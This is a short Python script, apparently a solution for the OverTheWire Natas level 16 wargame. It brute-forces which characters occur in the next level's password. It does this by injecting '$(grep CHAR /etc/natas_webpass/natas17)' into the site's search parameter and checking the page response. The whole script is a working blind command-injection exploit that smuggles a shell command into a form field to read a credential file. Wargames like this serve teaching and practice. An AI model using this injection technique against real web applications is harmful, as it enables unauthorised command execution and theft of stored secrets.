import requests

print("brute forcing existing chars!")

username = "natas16"
password = "<PASSWORD>"
characters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"

word = "<PASSWORD>"
exists = ""

for char in characters:
    url = "http://natas16.natas.labs.overthewire.org/index.php?needle=Americanisms%24(grep "+ char +" /etc/natas_webpass/natas17)&submit=Search"
    response = requests.get(url, auth=(username, password))
    if word not in response.text:
        exists += char
    print("checked: ", char, end="\r")

print("exists: ", exists)

